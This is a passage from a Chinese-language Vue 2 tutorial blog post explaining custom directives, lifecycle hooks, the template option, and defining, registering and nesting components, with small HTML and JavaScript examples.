	<div>更新的n值:{{n}}</div>
	<button type="button" @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			n:1
		}
	})
</script>

🍓自定义指令

  1. 定义语法:
    • 局部指令:
      new Vue({
      	directives:{
      		指令名:配置对象(或简写函数)
      	}
      })
      
    • 全局指令:
      Vue.directive(指令名,配置对象(或简写函数))
  2. 简写函数能完成的,配置对象都能完成,配置对象能完成的,简写函数不一定能完成,需要在元素渲染到页面后再做操作的,必须使用配置对象
  3. 配置对象常用的3个回调
    • bind:指令绑定时调用
    • inserted:模板编译完渲染到页面上后调用
    • update:指令所在模板结构被重新编译时调用
  4. 备注:
    • 指令使用时需要加v-

    • 指令命名不能是驼峰命名法则,可以是全小写或者使用-衔接,如big-age,则其下局部指令简写写法:

      new Vue({
      	directives:{
      		'big-age'(){
      			
      		}
      	}
      })
      

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获得焦点

<div id="root">
	<h2>当前的n值是:<span v-text="n"></span></h2>
	<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
	<button type="button" @click="n++">点我n+1</button>
	<input type="text" name="" v-fbind="n">
</div>
<script type="text/javascript">
	//简写:只能实现模板编译时被调用的功能
	Vue.directive('big',function(element,binding){
		element.innerText = binding.value * 10
	})
	
	//全写
	Vue.directive('fbind',{
		//指令绑定时调用
		bind(element,binding){
			element.value = binding.value
		},
		//模板编译完渲染到页面上后调用
		inserted(element,binding){
			element.focus()
		},
		//指令所在模板结构被重新编译时调用
		update(element,binding){
			element.value = binding.value
		}
	})
	new Vue({
		el:'#root',
		data:{
			n:1
		},
		
	})
</script>

🍓生命周期

🔥生命周期函数的特点:

  • Vue在关键时刻帮我们调用的一些特殊名称的函数
  • 函数名固定,不可更改
  • 生命周期函数内部的this指向vm实例或组件实例对象
  • 如果没有给vm实例绑定el,则生命周期函数只会执行beforeCreatecreated,后面的不会执行,除非你调用vm.$mount('#root')绑定el

🔥vm生命周期函数

  1. 🔥vm初始化:
    • 之前:beforeCreate
    • 之后:created
  2. 🔥vm解析模板,挂载页面:
    • 之前:beforeMount
    • 之后:mounted(重要)一般在这个方法里发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
  3. 🔥vm更新数,更新到页面:
    • 之前:beforeUpdate
    • 之后:updated
  4. 🔥vm销毁:
    • 之前:beforeDestroy(重要)一般在这个方法里清除定时器、解绑自定义事件、取消订阅等收尾工作
    • 之后:destroyed

🔥销毁vm

  • 1️⃣使用vm.$destroy(),销毁vm实例
  • 2️⃣vm销毁之前会调用生命周期函数beforeDestroy,销毁后会再次调用生命周期函数destroyed
  • 3️⃣vm销毁之前在生命周期函数beforeDestroy中对数据进行修改,数据修改了,但是不会触发页面更新了
  • 4️⃣vm销毁后,vm所做的成果还在,包括解析的页面和绑定的事件,只是不能再对数据进行更新了
  • 5️⃣vm销毁后,Vue开发者工具看不到任何信息
<div id="root">
	<!--
		1. style里面的东西需要Vue去解析,则写成v-bind:style,简写为:style
		2. style里面的是一个个的键值对,即一个个对象,可以写成{opacity:opacity}
		3. 因为取的名字跟css的样式名是一样的,根据对象的简写原则,可以写成{opacity}
	-->
	<h2 :style="{opacity}">欢迎学习Vue</h2>
	<button type="button" @click="tc">点我弹窗</button>
	<button type="button" @click="destoryVM">销毁vm</button>
	<button type="button" @click="stop">暂停样式</button>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			opacity:1
		},
		methods:{
			tc(){
				alert('1')
			},
			destoryVM(){
				//销毁vm实例,但是vm所做的成果还在
				this.$destroy()
			},
			stop(){
				clearInterval(this.timer)
			}
		},
		//vm初始化数据监测,数据代理调用之前
		beforeCreate(){
			console.log(this)
		},
		//Vue初始化数据监测,数据代理调用后,created可以访问data和methods
		created(){
			console.log(this)
		},
		//Vue解析模板生成虚拟DOM,挂载到页面上之前
		beforeMount(){
			console.log(this)
		},
		//Vue将虚拟DOM挂载到页面上之后
		mounted(){		
			this.timer = setInterval(()=>{
				this.opacity = this.opacity - 0.01
				if(this.opacity <= 0){
					this.opacity = 1
				}
			},60)
		},
		//数据更新后,页面尚未更新之前,此时数据是新的,页面是旧的,页面与数据尚未保持同步
		beforeUpdate(){
			console.log(this)
		},
		//页面更新之后,此时数据是新的,页面也是新的,页面与数据保持同步
		updated(){
			console.log(this)
		},
		//当调用vm.$destroy时,vm开始进行自我销毁,vm销毁之前调用下面函数
		beforeDestroy(){
			clearInterval(this.timer)
			console.log(this)
		},
		//Vue实例销毁之后
		destroyed(){
			console.log(this)
		}
	})
</script>

在这里插入图片描述

🍓 Vue模板定义

template写模板:

  1. 📌必须保证template里面只有一个根节点,注意:不能使用template标签作为根节点
  2. 📌如果是用'',则代码必须写在一行,不能换行
  3. 📌template解析后的DOM会替换整个el绑定的容器,包括容器本身,所以你在容器身上加的任何vue的属性都是没有用的(与之前在body里面写的模板的区别)
<div id="root">
			
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		template:`<div>
			<h2>年龄:{{age}}</h2>
			<h2>出生年份:{{2021 - age}}</h2>
		</div>`,
		data:{
			age:25
		}
	})
</script>

🍓组件

  1. 📌Vue使用组件的三大步骤:
    • 定义组件

      	全写
      	const 组件变量 = Vue.extend({
      		
      	})
      	
      	简写:
      	const 组件变量 = {}
      

      注意:
      1️⃣组件中的data必须写成函数式的,避免组件被复用时,数据存在引用关系
      2️⃣组件中不要设置el属性,因为组件不是为某个特定的容器服务的,它是哪边需要,哪边调用
      3️⃣可以使用name配置项指定组件在Vue开发者工具中呈现的名字

    • 注册组件

      • 局部注册(推荐)
        new Vue({
        	components:{
        		组件名:组件变量
        	}
        })
        
        如果组件定义时没有指定name,则Vue开发者工具会默认取你注册组件时起的名字
      • 全局注册
        Vue.component('组件名',组件变量)
    • 使用组件

      • 模板中在需要引用组件的地方使用标签<组件名></组件名>,可以重复使用,数据相互之间独立,互不影响
      • 支持<组件名 />,但是只有在Vue脚手架里才支持
      • 不管组件定义时取什么名,模板里的组件名都是根据你注册组件时起的名字来写的
    • 组件命名:

      • 不要使用HTML中已经保留的html标签名称起名
      • 一个单词的组件名,可以全小写,或者首字母大写
      • 多个单词使用-连接如my-school或者每个单词的首字母大写(注意:这种方式只能在Vue脚手架里用)
  2. 📌组件的本质:组件的本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
  3. 📌<组件名></组件名>会帮我们调用VueComponent的构造函数,生成一个VueComponent的组件实例对象vc
  4. 📌组件中管理的函数,他们的this指向是当前组件实例vc
  5. 📌vm实例上的属性和函数,vc几乎也有,但是vcvm还是有区别的,比如el,比如datavc中只能写成函数,vcvm可复用的Vue实例(即VueComponent的原型对象指向Vue的原型对象)(VueComponent.prototype.__proto__ === Vue.prototype
	<div id="root">
		<!--使用组件-->
		<school></school>
		<hr>
		<student></student>
	</div>
	<script type="text/javascript">
		//定义组件
		const school = Vue.extend({
			template:`<div>
				<h3>学校名称:{{schoolName}}</h3> <br />
				<h3>学校地址:{{address}}</h3>
			</div>`,
			data(){
				return {
					schoolName:'vue大学',
					address:'北京'
				}
			}
		})
		
		console.dir(school)
		
		//简写
		const student = {
			template:`<div>
				<h3>学生姓名:{{studentName}}</h3> <br />
				<h3>年龄:{{studentAge}}</h3>
			</div>`,
			data(){
				return {
					studentName:'张三',
					studentAge:23
				}
			}
		}
		
		new Vue({
			el:'#root',
			components:{	//注册组件
				school,
				student
			}
		})
	</script>
🍒组件的嵌套
<script type="text/javascript">
	const student = {
		name:'student',
		template:`<div>
					<h3>学生姓名:{{name}}</h3> <br>
					<h3>学生年龄:{{age}}</h3><br>
				</div>`,
		data(){
			return {
				name:'张三',
				age:23
			}
		}
	}
	
	const school = {
		name:'school',
		template:`<div>
					<h3>学校名称:{{name}}</h3> <br>
					<h3>学校地址:{{address}}</h3><br>
					<hr>
					<student></student>
				</div>`,
		data(){
			return {
				name:'Vue大学',
				address:'北京'
			}
		},
		components:{
			student
		}
	}
	
	const msg = {
		name:'msg',
		template:`<h3>{{msg}}</h3>`,
		data(){
			return {
				msg:'Vue的世界欢迎您!'
			}
		}
	}
	
	const app = {
		name:'app',
		template:`<div>
			<msg></msg> <br>
			<school></school>
		</div>`,
		components:{
			msg,
			school
		}
	}
	
	new Vue({
		el:'#root',
		template:`<app></app>`,
		components:{
			app
		}
	})
</script>
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值